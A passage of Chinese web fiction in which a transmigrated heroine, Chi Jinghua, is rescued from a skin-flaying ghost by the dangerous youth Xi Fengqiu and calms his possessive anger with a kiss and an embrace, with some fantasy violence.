依旧很热。 但很快就会消失。 他有点不想让它消失。 见他微微发愣,池镜花直接用蛮力将他拖入医馆,双手把他按在椅子上,接着让老神医给她自己诊脉。 他边抚摸花白长胡边娓娓道来:“没事了,你体内的毒已经清除了。” 事实证明,喝血最有用。 但有件事池镜花一直很在意。 站在窗户边的承着阳光照耀的池镜花不解地问道:“那我痊愈以后还会因为不小心吞食他的血液而中毒吗?” 老神医继续抚着胡子,半眯着眼睛仔细打量两人,语速慢吞吞的。 “放心,不会了。” 也就是说,她不仅解了毒,还对奚逢秋体内的毒素产生抗体,虽然她早有预感,但只有得到大夫肯定才叫人放心。 “谢谢老神医。” 池镜花甜甜笑道,察觉到奚逢秋的视线自始至终只落在自己身上。 除了习惯了以外,其实,她也十分在意他,还有他肩胛上的伤口,毕竟,总盯着一个地方受伤可不行,而且每次受伤流出的血快要浸透半边衣裳,怪不得晒再多太阳也总是脸色不好。 “老神医,你再帮我看看他的伤势吧。” 听她所言,老神医只转动眼珠,细致地盯着他的伤口扫描几眼,并未帮他诊脉,便得出结论:“没有大碍。” 倒不如说,伤口的愈合速度惊人。 “老夫给你们开服药,回去记得上药就行。” 说罢,老神医迈着缓慢的步伐去了里堂,说是要为他们取药。 即便池镜花只是旁观者,但往往只有旁观者看的最清楚。 老神医是不是不喜欢奚逢秋啊? 也是因为他以前做的那些事情吗? 想到这,她不由往奚逢秋身旁挪了半步,轻轻扯了下他的衣袖。 坐在阴暗角落里的白衣少年微微扭头,随着他的动作,露出一直被乌发所掩盖的血红耳铛,他面露疑色。 不等他问出缘由,池镜花已经轻轻弯腰,落在她脚边的一缕暖色夕阳攀上她的衣裙,晕开一道模糊的光影。 少女隔着极短的距离附在他耳边说话,是只说给他们两个人听的音量。 “回去我帮你上药吧。” 离得太近,属于她的气息、热气又争先恐后地攀附上来,游走在他的四周。 奚逢秋笑了一下,悦耳动听的声音莫名缱绻。 “为什么?” 她只是想通过自己的方式安慰他,哪怕他毫无察觉也没关系。 倒不如说,她希望奚逢秋不要意识到。 这本就是她个人的主观意志,没必要强加给对方,只是她想这么做了。 池镜花灵机一动,搜肠刮肚找了个最合适的理由。 “因为你救了我,我想报答你。” “嗯,原来是这样。” 他不疑有他地点头,看样子是信了的。 池镜花松了口气,悄悄松开五指。 此时,老神医已拿出一罐白瓷瓶交予池镜花,还有赠予她一副安神的药。 “额……谢谢老神医。” 池镜花犹豫着接过,心中更加印证了老神医不喜欢奚逢秋这一事实。 她下意识地看向奚逢秋,只见他神色淡淡,没有什么情绪起伏,只有在察觉到她的视线时才会弯眼笑。 真的一点也不在乎别人的看法。 池镜花抿了抿唇唇,拉住他的手腕告别老神医。 在二人走后,寂静的医馆忽然传来老人家重重的叹息。 只觉得可惜。 姑娘是好姑娘,少年却并非如此。 当好姑娘池镜花拉着奚逢秋穿过金德镇时,一路都有白鹤作伴,小镇的夜晚没什么店铺开门,只有道路两边人家高悬着的红灯笼用作照明。 浅薄的光线打在石路上,映出两道一高一低的模糊人影。 池镜花假装漫不经心,实则越挨越近,一步步试探他的底线,小心翼翼地勾住他的小指。 肌肤相处的刹那,冷风裹挟着一声轻笑擦过她的耳廓,钻进她的耳蜗。 池镜花面颊一热,头也不抬,却是一副大义凛然的样子,话语气壮山河般的从喉咙深处溢出。 “嗯,对,我就是想跟你牵手了!” 说罢,她鼓起勇气不由分说地扣住他的五指,不给他任何反驳的机会,拉着人快步往前袁府走去。 “好了,天已经黑了,我们赶紧走吧。” 少女身后扬起的发丝轻微拂过他的脸颊,奚逢秋想要偏头躲避这股痒意,四周却到处充盈着若有似无的甜腻气息。 这种气息跟他身上飘出的花香截然不同。 即便很轻,也会叫人心情愉悦。 然后,紧紧握住。 不知不觉中,两人已回到袁府客房门口。 池镜花将怀中的白瓷瓶塞到他手里,自己则拎着老神医开的安神药。 “等一下我去找你。” 门口光线很暗,唯有凄冷月华洒落,斑驳的枝影在他侧脸摇曳,他一动不动盯着白瓷瓶看了几秒,似是想起什么,忽而抬眸,望着池镜花笑,映在眼底的繁星泛着诡异的光。 “会吗?” 池镜花重重点头,“一定会的!” 毕竟还要为他上药嘛。 奚逢秋依旧笑着,慢慢收拢五指,将白瓷紧紧握在掌心。 “我很期待。” 池镜花挠了挠脸,不明白他在期待什么,难道是思念疼痛的滋味了? 她决定现在就满足他一下。 池镜花深吸一口冷气,抬手又快又轻地按了下他在肩胛的伤口,大部分血迹虽早已干涸,但仍有小部分沾上了她的指尖。 “待会儿见,奚逢秋!” 说罢,池镜花如一阵风似的推开了自己房间的门,正要放下安神药,惊诧发现房间里坐着一道红色的身影,桌上已点燃一根红烛。 是女主。 池镜花迅速平复心情,慢慢靠近,看见纪望慕衣裳在与衣服鬼搏斗中变得破破烂烂,一张脸却美得惊心动魄。 她对女主很有好感,就算是女鬼也忍不住想与她亲近。 “纪小姐,你怎么在这儿?有事吗?” 池镜花边慢慢坐到她身边边放下安神药,明明灭灭的烛火映在她的脸颊。 “也不是什么大事。” 纪望慕承着香烛的气息,晃晃悠悠的烛火映在她的眼底,照亮她惨白艳丽的面容。 “小道士托我跟你说件事,奚公子有点奇怪,你若是与他走的太近恐会受伤,所以小道士想让你离他远点。” 嗯? 男主怀疑男配? 池镜花看书时一直以为男主将男配当兄弟对待,现在看来,或许只是因为男主没有撞见男配真面目,所以一直维持他的待客之道。 池镜花实在记不清原著了,但她绝不可能与奚逢秋保持距离的。 “奚逢秋……挺好的,不是赵道长想得那样。” 这话确实有那么一点点违心,但又并非全错。 虽然奚逢秋脑回路不正常,做事手段残忍了些,也不受人欢迎,但他很多时候还是挺正常的,待她极其温柔,跟他待在一起,大多数时候都很安心,至少除了他以外没有别的危险因素。 所以,她只需要去关注奚逢秋就好了。 尤其是她开发出可以增加奚逢秋好感度的行为,好像一切都在变 得逐步可控。 纪望慕神色疑惑,女鬼的头发丝都写满了不解。 “连我都看出来他有些不对劲,为何你会这般维护他?” 维护他…… 没办法,谁让他是她的任务对象。 她精心挑选任务对象,不管怎样都是最好的,不然就是打自己的脸! 但她还得找个理由敷衍女主。 也不知道女主会不会像奚逢秋那样好糊弄。 滚烫的烛泪自上而下缓缓流淌,滴在木桌上,慢慢凝结成形。 池镜花眉头微蹙,思忖良久,终于找到个合适说辞,由于怕被第三个人听见,她刻意压低声音,战术性地清了清嗓子。 “因为……我喜欢他。” “我想跟他在一起,我还想让他也喜欢我。” “所以,他对我来说就是天底下最好的!” 第34章 第34章她只在乎他一人。 窗外风声簌簌,树影斑驳,屋内烛火闪烁,映在墙面和地面的阴影随风起舞。 似是被池镜花过分坦诚的话语吓到,纪望慕足足愣住片刻,接着忽然“噗嗤”一声笑出声来,面前的烛火轻晃。 “原来如此,看来是我们多事了。” 池镜花面颊一热,将脸凑到纪望慕跟前,耳尖微微发烫,咬了咬唇瓣,颇感到难为情,声音更低。 “还望纪小姐能够替我保密,我……我想等有一天亲自告诉他,可以吗?” 纪望慕忍不住抬起右手轻捏了下她的脸颊,女鬼的手指虽然冰凉但是意外柔软,散发出淡淡脂粉气息。 “放心,我不会多嘴的,更不会让小道士出去瞎说。” 池镜花捂住微微泛红的左脸,声音低低的。 “谢谢纪小姐。” “不过我很好奇你喜欢……”他哪点。 没等后面几个字吐完,纪望慕忽然脸色一变,瞳孔骤缩,烛火猛地一颤,仿佛预见了什么。 池镜花什么感觉也没有,只有从窗棂吹进的夜风有些凉,令她下意识地紧了紧衣裳,不解地望向纪望慕。 “纪小姐,怎么了?” 纪望慕双手死死扣住木桌,双眼盯着门外。 “是剥皮鬼,它又出现了。” 剥皮鬼? 池镜花一下子愣住了。 纪望慕快速给出解释:“还记得你们在客栈刚遇见小道士那会儿他受了伤吗?就是因为我们先遇见了剥皮鬼,他现在又出现了,看来有人要遭殃,池姑娘,你待在屋里不要动,我去找小道士。” 没等池镜花给出回应,纪望慕便像一阵风似的推门而出,又替她关好门。 冷风吹灭烛火,烛芯一缕余烟袅袅生起,四周归于寂静。 屋内只剩池镜花一人,她正低头努力回忆原著剧情。 在《鬼仙》小说开篇,赵星澜确因捉鬼受伤,后被女主所救,两人这才产生交集,但究竟伤他的是不是剥皮鬼,池镜花真没印象。 她恨自己当初为何只爱看感情线,囫囵吞枣地过完剧情线,导致现在对重要剧情的记忆残缺不全。 想到这,她重重叹口气,双手托腮盯着桌上的安神药,发间的紫蝶珠钗也显得蔫蔫的。 其实,她本该兑现承诺去找奚逢秋的,但想到女主口中的剥皮鬼,一时进退两难。 但她与奚逢秋的房间也就隔着两个房间的距离,找过去最多三分钟,总不至于这么巧就出事吧。 池镜花迅速收拾好心情,直起身来,正要往外走,忽然发现门外立着道漆黑人影。 从身形判断不是她认识的人。 不能是剥皮鬼吧? 她不至于这么倒霉吧! 池镜花心惊胆战地连连后撤,摸出一把叫不出名字的符咒。 就在此时,不知哪来的一阵阴风暴力吹开门窗,溶溶月色映出门外那人的模样。 是一名经过精心打扮的青衣书生,连头发丝都绑得一丝不苟。 他双目空洞漆黑,双拳紧握,掌心渗出的鲜血从他消瘦的指尖滴落,表情尤为狰狞。 “好可恶,是谁偷走了我收集的精致人皮,想杀人,杀了他!” 还真是剥皮鬼! 池镜花自知能力不够,正要大喊求救,下一刻,剥皮鬼突然瞬移到她身后,满是鲜血的右手用力掐住她的脖颈,阻止她搬救兵。 剥皮鬼指尖的鲜血附着在少女纤细柔软的脖颈,湿冷的气息缱绻在她耳廓。 “不过没关系,加上你,就又是双数了,你真的好漂亮,把你的皮给我,我一定会好好保管的,再也不会让人或者妖怪偷了去。” 谁曾想,这杀人如麻的剥皮鬼竟还是个强迫症。 池镜花手脚并用竭力反抗,就算如此,还是硬生生地被拖拽到梳妆台前,周围没有火光,只能通过月华,看见铜镜里映出两个模糊的人影。 剥皮鬼在笑,脸上却光滑得没有一条皱纹,宛如套着张人皮的假人。 “你看,我们多般配啊,你这么漂亮,我也这么好看,天生一对,你说是也不是?” 不是,谁跟他天生一对了! 池镜花奋力挣扎,下一瞬,光是扼住她的喉咙不行,剥皮鬼又捂住她的嘴巴,在她的面颊印上妖鬼的血腥,几乎贴着她的耳畔吐出阴冷的气息。 “嘘,别说话,我知道你要说什么,但你这么漂亮,不该说那些污言秽语,会玷污这幅好皮囊,我会不高兴的。” 又是漂亮又是好皮囊,真的很难不让人联想到衣服鬼,因为衣服鬼也曾说过要“借”她的皮,似乎还想找谁,莫不是她想找的就是剥皮鬼? 池镜花想起衣服鬼生前起因,据说是被人活活剥皮致死。 所以,衣服鬼生前极有可能被剥皮鬼杀死,所以死后变成鬼也一直想找机会报仇,而吸引剥皮鬼最好办法就是找一张漂亮的人皮。 如此一来,万恶之源就是这只剥皮鬼呀! 还有山中的黑妖,貌似也有人皮作为掩饰,莫不是从剥皮鬼这里偷的? 念及此,池镜花毫不犹豫地祭出男主赠送的黄符举手绕过身后贴在他脑门,本指望能起点作用,不想他轻轻一吹,所有的黄符便飘落在地。 没有任何作用。 难道是因为剥皮鬼披着人皮,符咒没有直接接触到他的本体吗? “我知道,你不是道士,这里唯一的道士已经被我引走了。” 剥皮鬼一直保持禁锢她喉咙和嘴唇姿势,任由池镜花如何拳打脚踢都没用,甚至由于用力过度,呼吸逐渐急促。 “放心,我会很温柔地剥下你的皮,毕竟,我也不想弄坏这么好看的皮囊。” 说到“温柔”,池镜花第一个想到的是奚逢秋,他比剥皮鬼要实实在在地温柔太多,虽然同样危险,但至少从不会像这样连个开口的机会都不给她。 “要从哪里开始呢?” 剥皮鬼目露兴奋地盯着铜镜中的少女,“耳朵?不好!眼睛?也不好!嘴巴?更不好!我得想想……” 当他慢悠悠念出这些部位时,浑浊滑腻的视线也一一扫过镜中对应五官。 虽只是眼神接触,但只要他一个兴起,所有位置都将多道血淋淋的伤口。 她不敢乱动,能活多一分钟是一分钟,最好是能撑到男女主发现剥皮鬼在这,折返回来救她。 “想好了,就从额头开始吧!” 顿时,池镜花全身紧绷,呼吸滞停,当耳边响起“额头”的瞬间,忽有种灵魂已徘徊在奈何桥的真实感。 名为恐惧的情绪快要将她吞噬,黑暗中,混沌的脑袋完全没办法正常思考,只剩剧烈的心跳提醒她暂时还活着,只是这种鲜活不知会维持几何。 就在即将触碰到她的前一秒,剥皮鬼的手臂忽被从门口伸长的白丝斩成两截。 滚烫的鲜血喷涌而出,溅落一地,少部分打在她胸口的衣间,浸透衣裳,黏附肌肤。 施加在她身上的力气瞬间撤回,耳边只剩剥皮鬼的痛苦嚎叫。 但这种情况没有持续一分钟。 在主人熟练的操控下,白丝毫不犹豫地割断剥皮鬼的四肢和脖颈,脑袋跟脖子顷刻分离,鲜血淋漓的脑袋一路滚到桌底,微微斜倾,眼珠瞪大,俊俏书生的皮失去支 撑力,从剥皮鬼的脸上剥落,露出他原本的样貌。 原来剥皮鬼的原生相貌极为丑陋,他眉毛极淡,脸上大片大片的黑色胎记。 少年微微低着头,背对迷蒙月色,孤寂地站在门口,指尖生出的白丝已被染为血色,松垮地垂落在地面,融于漆黑影子里,一直延伸到她脚边,身上却没落下一滴血。 池镜花原以为他是来救他的,正要惊喜喊他,可总觉得气氛不太对劲,一句“奚逢秋”梗在喉咙里出不来。 等了会儿,奚逢秋才向她迈出第一步,接着是第二步、第三步……直至停在她跟前,不到一个人的距离,他缓慢抬眸。 离得近了,池镜花终于看清他的神情。 不知怎地,颤动的睫羽下,一向波澜不惊的眼底竟情绪起伏跌宕,他忽然用力扯住白丝,想要做些什么,声音也很低,如一根藤蔓在黑暗游走。 “又骗人。” 她总是这样骗他,分明承诺要去找他,却并没有出现,反而与剥皮鬼在一起,满身都是他留下的痕迹和鲜血。 绕是知道这并非池镜花本意,可胸口却莫名滞胀。 当他的视线流转过池镜花的脸颊、脖颈和心口,鼻腔中盈满剥皮鬼在她身上留下的气味和血腥,已经盖过了所有。 这一刻,仿佛有什么在脑子里轰然炸裂。 好讨厌! 好讨厌! 好讨厌! 想要全部毁了! 当杀意源源不断涌现占据其他心绪时,奚逢秋忽而春风化雨般笑了一下,抬了抬指尖,将白丝置于眼前,由指腹滴下一颗血珠。 “池镜花,又骗人。” 感受到他流露出的漫天杀意,池镜花不明白自己究竟哪里又触到了他的逆鳞。 但得想个办法叫他冷静,不然非得被他杀了不可。 当她准备用言语说服时,发现奚逢秋的目光如一把利刃穿透她的躯壳,扫视她的五脏六腑,透过她的心脏,可比起这些,他似乎更在意剥皮鬼在他身上留下的血迹。 就像是小孩子会生气自己的好朋友背着他与别人交好一样。 完全是占有欲作祟。 那这其中会不会夹杂着男配的爱慕之心呢? 池镜花不明白,但忽然心跳加速,血液倒流,脑海中冒出个胆大的念头,就算失败也不会比现在这种情况更糟糕。 有过经验的池镜花只做了几秒的心理建设,便迎着他的目光,踮起脚尖,双手颤抖地环住他的脖子,抵上他的鼻尖。 犹豫片刻,在奚逢秋疑惑不解地眼神中,她闭上双眼,轻轻地吻上了他的唇。 不管是占有欲还是吃醋嫉妒,池镜花只想要通过自己的实际行动告诉他——她只在乎的他一人。 第35章 第35章他的气息。 少女喷薄而出的炽热呼吸如火镣般游走在他面颊四周,不着痕迹地一点点蚕食掉他堆积在心口的异样情绪。 周围没有一丝光亮,唯有倾洒在脚边的朦胧月光映出两道紧密交叠的身影。 什么也听不见,万籁在此俱寂,站在阴暗角落里的漂亮少年只能感知到附在唇间的柔软,仿佛正在笨拙地轻咬他的唇瓣。 她在亲他。 她又亲他了。 为什么? 刹那间,缠于指尖白丝软哒哒地悬着,分明是用来摧毁一切情绪的武器就这样被她毫无防备地卸下。 奇怪奇怪奇怪。 这种唇瓣相依的感觉相当奇妙。 他不明白为何会这样。 当然,他也曾试图撬开她的唇瓣检查,却一无所获,甚至当指尖无意触及到那片柔软与湿热,莫名对此感到好奇,想要往深层探索。 但他没有。 同样地,池镜花也没有,仅是停留片刻,便从他的唇上悄然离开,只蜻蜓点水般的吻了一下。 但看样子效果卓著。 她赌对了。 男配被她安抚着,顺好了毛。 尽管依旧无法确定他对她究竟有没有一丝爱意,但几次接触下来,已经知道就算是突然袭击,男配也完全不会抗拒她的亲近。 这点绝对有利于攻略。 池镜花脑袋虽然清醒,可呼吸全乱了,她仰脸调整呼吸,眼睛亮晶晶的,心跳在加速,声音在颤抖。 “冷静些,好吗?” 当唇间的柔软迅速退去,少年微微歪过脑袋,耳铛划过寂静黑夜,扬起泛着丝丝红意的唇,轻声笑了笑。 “你又在骗我,是吗?” “这是有原因的!” 池镜花边解释边不经意地抿唇,试图消却唇间的残留温度,不知为何却越来越热,附在唇上的色彩越来越鲜艳。 “其实我本来是打算找你的,但剥皮鬼先到一步,我没办法抽身!” 她没有说谎,此刻,留在她房间里的尸首就是证据。 奚逢秋没说话。 他站在夜色与月光的交界线,冷风轻轻吹拂连着指尖的白丝,一错不错凝望着池镜花,宛若深海的眸中无半分波澜,面上毫无情绪起伏,唯有唇上留有可疑水迹。 看上去莫名色|情。 池镜花默默移开停留在唇上的视线,盯住他的双眸,弯起眼睛笑了笑。 “要不是你刚才来的及时,我肯定活不成,谢谢你,奚逢秋。” “没关系。” 不多时,他已恢复到望日那般温良有礼的模样,朝他轻轻弯了弯眸子。 池镜花悄悄松了口气。 “这个。” 夜色愈浓,耳边响起冷风吹响门窗发出的古怪声响,随后只见奚逢秋轻抬指尖,白丝被动吹拂,贴上她的面颊又落下,带来一阵凉意。 隔着几公分的距离,他指了指池镜花脖颈处扎眼的血手印。 “要处理吗?” 池镜花下意识摸向脖颈,发现血迹早已干涸,只剩未消散的腥臭。 她无奈叹气,“只能洗澡了。” 奚逢秋笑得温和,却无比厌恶她身上盖过一切的血腥。 “可以现在洗吗?” 现在? 池镜花微微一怔,不大好意思地挠了挠脸颊,“你等等,我去准备一下。” 话音落下,池镜花便离开房间去烧热水。 深夜无人帮忙,她在黑漆漆的厨房鼓捣半天才终于烧好一桶热水。 等匆忙回到房间,池镜花惊讶发现奚逢秋已将剥皮鬼的尸体收拾好,只留下几滩斑驳的血迹,却不知他把尸体搬哪儿去了。 她眨两下眼睛,抬眸看见奚逢秋抬起右手,指向门外的台阶,唇角含笑,声音轻轻慢慢的,宛如山涧清泉。 “我坐在那里就好。” 说罢,他便走出门外,带上房门,坐在他们过去曾坐过的木板上,翻出白丝,低头翻着花绳,乖巧又安静。 屋内漆黑,池镜花摸出一根蜡烛点上,烛火迅速盈满房间,她赶忙褪去衣裳,钻入浴桶,目光一直紧锁门口那道漆黑的人影。 虽然她毫不担心奚逢秋会突然推门而入,但像这样彼此间隔着一道门窗,将对方的孤寂身影尽收眼底,心里有种难以言喻的奇怪滋味。 为了不让这股情绪占满内心,池镜花忙不迭地用热水洗净身躯血污,又换了身干净的蓝青色衣裳,总算完工。 池镜花长呼一口气,为方便行动将长发撩至身后,“吱呀”一声打开门。 “好了,洗好了。” 奚逢秋闻声偏头,月光落在他颤抖的眼睫,宛若镀上一层淡淡的金粉。 “外面很冷的,快点进来。” 见他不动,池镜花索性拽过他的手腕,将人强行拖进屋内,按在凳子上,给他倒了杯茶水,推至他跟前。 奚逢秋盯着杯盏将近半分钟,却未伸手,又抬眸看向池镜花。 明明灭灭烛火模糊地倒映在他眼底,包裹住少女的清晰面庞,神色一如既往地平静。 他没有说话,也没有向她传递出任何情绪。 池镜花只当他不渴,挨他而坐,沉默片刻,面颊猝然靠近半分,盛若繁星的双眸只有少年一人身影。 “怎么样?现在没有味道了吧?” 就算她再傻也该明白,奚逢秋生气的大部分原因不是在于她没有去找他,而 是不喜欢她身上的血腥臭味,否则怎么可能让她现在立刻洗澡,还特地守在门口等她。 而她,也不会为迁就奚逢秋忙活半天。 当然,池镜花也不喜欢自己身上的血腥。 烛火乍起,少女蓦然靠近,耳侧落下一缕湿漉漉的乌发,贴着她的颈侧,垂于胸前,在烛光前微微晃了几晃。 虽然毫无防备,但有件事她猜对了。 他就是厌恶她身上所沾上的剥皮鬼气息。 窗外风声渐大,屋内烛火不停闪烁,投在墙面晃动的阴影犹如罗刹鬼影。 奚逢秋在一言不发地观察她。 她离他实在太近,近到奚逢秋只能看见她的脸颊和五官,再也看不清其他。 不知怎地,奚逢秋骤然想起悬赏司的小吏。 在他的认知中,小吏那猴子般的的长相才算有意思,鲜少有人会生成那样,可池镜花不是,她分明生的一点也不有趣,可总会有一些奇奇怪怪的举动。 比如—— 她碰他伤口,他会疼。 她压着他吸食他的血液,很兴奋。 她还会牵他亲他,真的很奇妙。 越是好奇,他就越想弄清其中缘由。 烛泪已凝成薄薄一层,烛火在冷风中倔强坚持,耳边呼啸的风声越来越大,仿佛即将冲出黑暗的地平线吞噬万物一切。 被好奇所驱使,少年的身体也在不知不觉地朝着池镜花所在的方向倾去,直至几近挨上她的玲珑的鼻尖,双瞳中只映出少女明丽的五官。 “奚逢秋?” 池镜花有些不明白他怎会突然这么主动。 仿佛听不见她的呼唤,奚逢秋慢腾腾探出骨节分明的指尖,迫切想要触碰她的五官,探寻她身上的秘密。 许是感应到什么,池镜花突然抓住他的手腕,带他搂住自己的腰肢,而她,则是双手并用,“啪”地一下环住颈侧,果断抱住了他。 动作幅度太大,衣袖差点挥灭蜡烛。 意料之中的举动,令被抱住的人反应了好大一会儿,才意识到发生了什么。 ——继牵手和亲吻之后,她又抱住了他。 是从未有过的温暖,要比她的长相有趣的多。 念及此,他唇畔不禁荡起个笑来,轻轻搂住她的腰肢,回应少女的热情。 池镜花紧张到极点,心脏噗通噗通地跳,本就因洗过澡而微微发热的双颊更烫。 她低头望着二人脚下纠缠的衣袂,将脑袋埋进他的怀里,额头抵着他的心口,闻着他身上花香,聆听妖怪较为缓慢的心跳声,喉咙深处发出的声音闷闷的。 “奚逢秋,我身上没有剥皮鬼的气息了。” ——所以你别再生气了。 池镜花之所以不说,是因为即使没说,他也应该能明白她的意思。 她洗净身上血污,抱他亲他安抚他的情绪,就算再怎么讨厌她身上的气息也该消气了! 过去许久,奚逢秋轻应一声,五指忽然轻轻攀上她的后脑,由发顶开始,从上至下,一下下地温柔抚摸她的头发。 以实际行动表明他没再生气了。 池镜花垂下鸦黑睫羽,稍微松口气。 好不容易哄好男配,池镜花正要松开双手,忽感脖颈一凉,冷意犹如电流极速贯穿全身,叫她全身忍不住打了个冷颤。 是奚逢秋的指尖骤然停在她的后颈,微凉的指腹轻抵着她的肌肤。 池镜花一动不敢动,在凉意的刺激下,双手甚至不自觉地搂得更紧,单薄的身躯几乎贴着他的。 两种截然不同的温度在黑暗中交融。 火光越来越暗,投在地面两道身影趋于重叠。 奚逢秋慢慢靠近池镜花颈侧敏感肌肤,少女发间尚未凝结的水气化为他眼底的雾气。 他轻轻低头,埋进她的颈间,虽未直接蹭到她的肌肤,但少女皮肤细小毛孔释放的热意,不知不觉混进他的呼吸,进入他的血管,化为他身体的一部分。 四周静悄悄,颈侧先是凉意,后是痒意。 池镜花能够察觉到,他在闻她,嗅她身上的气息。 强烈的不安令她不由自主地握紧了他的衣裳,牢牢攥在手心。 奚逢秋指尖轻轻按住她的后颈,细细感受她身上残存的气息。 剥皮鬼留下的血腥早已不在,只剩下池镜花身上原本的甜腻香味。 这种香味他很熟悉,也不会厌恶。 但那是以前。 在看到剥皮鬼留在她身上的痕迹后,现在他忽然生出个念头——莫名地用想用另一种气息填满、取代。 嗯,是他的气息。 第36章 第36章对她产生爱意。 暖色烛火摇曳,破旧的老墙仿佛荡出波澜的漆黑水纹,如一片巨大的流动幕布,笼罩着狭小的房间。 剧烈的心跳声已掩盖萧萧风声,在池镜花耳边不停回荡,顷刻化为巨型铁锤,一下下地有力敲击她的耳膜。 不安和紧张如潮水般在她心口迅速蔓延,全身都在发热发烫,或许还掺杂着点别的情绪,不过她不愿深究,只对奚逢秋到底要做什么感到好奇。 她身上分明已没有一丝一毫剥皮鬼的气息。 思考间,颈侧忽然漫上一阵沁骨的凉意。 是奚逢秋左耳耳铛悄然滑落,贴着她肌肤,无意汲取她的体温。 在这滚烫犹如火烤般的的呼吸间,冰凉的耳铛如久旱后的甘霖,只需一滴,便足以掀起惊涛骇浪。 池镜花甚至能够清晰感受到血色耳铛的纹理走势和镌刻着的“年年”小字的一撇一捺。 她的身躯忍不住瑟缩了下。 察觉到怀侧之人的异样,奚逢秋瞬间意识回笼,慢慢松开压住她后颈的指尖,神情逐渐恢复平静。 “抱歉。” 呼吸已远离她的敏感的颈间,池镜花慢慢抬起头,奚逢秋昳丽的五官渐渐浮现在她面前。 少年眼底氤氲的雾气未完全化开,双瞳呈以雾蒙蒙的浅蓝,佩在左耳的耳铛愈发鲜红,轻轻晃了下。 他唇边含着淡淡的笑,说话声音温温柔柔的,跟方才简直判若两人。 “是我过分了些。” 他在道歉,池镜花一昧沉默不语。 事实上,她刚才差点以为他要咬上来了,如同她对他做过的事情那样,吸食她的血液。 但是没有。 她该庆幸男配没这种嗜好。 耳畔风声重现,正在慢慢吹散二人间的潮热。 镜花抿了抿唇,眼睫一颤,刻意转移话题,“那你现在还生气吗?” 闻言,他微微歪头,烛火映在他的眼底,散发出疑惑的光芒。 “为何要在乎我有没有生气?” 池镜花神情一愣,下意识地脱口而出。 “啊?为什么不在乎?我一直很在乎你啊,不管是高兴也好,生气也罢,我都想知道。” 正所谓,掌握他的情绪才能对症下药嘛。 说着,池镜花深吸一口气,干脆趁此机会全盘托出。 “随便你认为我是在讨好你也罢,想跟你交好也行,这是事实,奚逢秋,我在乎你的情绪,很在乎很在乎很在乎!” 她的声音很大,说到关键处忍不住一遍遍重复。 池镜花很坦诚,奚逢秋自然也知道她一直努力地安抚他。 奇怪的是,他本能地接受了。 先前种种不快都在她突如其来的亲吻中消散云散。 没等他想通为何会出现这般情况,赵星澜忽然大喊着径直推门而入。 “池姑……!” 赵星澜捏着黄符神色慌张地闯进屋内,本是为了追杀剥皮鬼而来,不想剥皮鬼没找到,一道刺目的烛光照进瞳孔,让他见到两人面对面亲密拥抱。 他立刻低下头躲避视线,隐隐可见其微微泛红的耳尖。 “哦……没事没事,赵某先去休息了,不对,天快亮了, 赵某要去悬赏司交任务。” 说罢,便逃一般的离开房间,连门都忘记关上。 顺着男主逃离的方向看去,池镜花看见天空落下一缕细白的光亮,正在逐渐驱散黑暗。 原来,一夜已经过去。 蜡烛早已燃尽,只剩一层厚厚烛泪,飘出几率若有似无的烟气。 池镜花放下缠着他的双臂,特地旁边挪了挪,边偷偷看向他受伤的肩胛。 衣服是干净的,说明他已自己处理过。 池镜花一时不知该说什么,只好偷偷观察他的神情。 随着一直贴着他的温暖身躯远离,奚逢秋默默垂下眼睫,叫人看不清他的任何情绪变化。 池镜花思忖片刻,随即清了清嗓子,索性直接道:“等下我们一起去悬赏司交悬赏令吧。” 少年稍稍抬眸,眼底凝着困惑的细光。 “你认识路的,不是吗?” 池镜花老实点头,“是认路,但悬赏司你要比要我熟悉的多,跟你在一起,我会安心很多。” 话音落地,奚逢秋神情更为不解。 他不曾想到池镜花与他在一起不是害怕和惊恐,居然是安心。 仔细回想一下,池镜花其实跟其他人无希,都对他展现出恐惧的一面,但从未有过逃跑或者远离他举动,甚至一直在试图接近他靠近他。 这很新奇。 他更好奇她的目的究竟是什么。 莫名有些期待。 奚逢秋忽而轻笑一声,应了下来。 见他同意,池镜花提议出发前先睡会儿,起来后赶紧叫上奚逢秋去悬赏司领奖金。 他们出来时天已大亮,但夜里起了雾,阳光尚未完全驱散冷气。 池镜花搓了搓臂膀取暖,与他并排而走,又抬头看了眼总是悄悄跟着他们的白鹤。 虽然白鹤对奚逢秋很是敬畏,但总是他去哪儿,白鹤便跟去哪儿。 这么一想,白鹤还挺累。 池镜花决定等拿到悬赏令的奖金给白鹤买鱼吃! 深秋时节,金德小镇的石路两旁积攒着一层厚厚的枯黄落叶,风一吹,盘旋在路人脚边,若不小心踩上,便会听见一道清脆的声响,偶尔惊动停在树枝休憩的雀鸟,拍打着翅膀飞远了。 走了一段时间,他们找到悬赏司时,小吏应是刚上工,正靠在门口的躺椅上沐浴阳光睡着回笼觉,直到两道人影挡住温柔日光,他才挠脸睁开绿豆大的双眼。 池镜花赶忙取出悬赏令,表明来意。 但男主的悬赏令奖金也就二两银子。 虽然不多,但至少接下来的一段时间里,她不用再为生活费发愁。 “多谢大人。” 池镜花快速接过银子,当攥着冰凉的银两时,她下意识望了眼站在不远处门外的奚逢秋。 他伫立在门外,日光微微照亮他的侧脸,仿佛晕着一层温柔的光。 少年微微笑着,正因为过于无聊,而跟白鹤逗趣,以此来打发等待池镜花的时间。 她转身回眸,站在阴暗处的官吏用一双小眼睛上下打量着自己,声音低沉地询问道:“姑娘,我见你也是涉世未深,怎么会跟奚公子在一起?” 池镜花一时未能理解他的弦外之音。 “什么意思?” 小吏浑浊的双眼里透露出疑惑的眼神,“你不知道奚公子是什么人吗?” 结合他们当前所在位置,以及奚逢秋在金德镇百姓心中的形象,池镜花稍加思考,便全都明白了。 少女抬起亮晶晶的双眸,神色坚定地重复着奚逢秋跟她说过的话。 “我知道,他以前接过悬赏令,也杀了很多人。” “对喽。” 小吏边扶正大一号的帽子边眯着眼睛满意地笑了笑,突然想起什么,举起白烛弯着腰,在一堆悬赏金里挑挑拣拣。 “等着,我给你找出来。” 池镜花大抵知道他要做什么,只是遵循本能地望向门口。 屋外阳光刺眼,微风轻拂,奚逢秋依旧在逗弄白鹤,没什么太大的反应,不知为何,唇角反而微微扬起,看上去心情更好了。 不多时,小吏将挑出的悬赏令拍在桌子上,擦了擦脸上油腻的汗珠。 “每隔一阵子就会有人将各地已经作废的悬赏令送到我这来,所以这些是我目前能找到的奚公子以前接过的所有悬赏令。” 池镜花扫了一眼。 烛火映照下的悬赏令有些泛黄,初步估计有百十来张,比她想象中的还要多。 池镜花愣了下,意识尚未觉醒,嘴巴先一步问出口:“他花了多长时间接这些悬赏令?” 小吏掐指算了下,语气轻松回道:“七八年吧。” 七八年…… 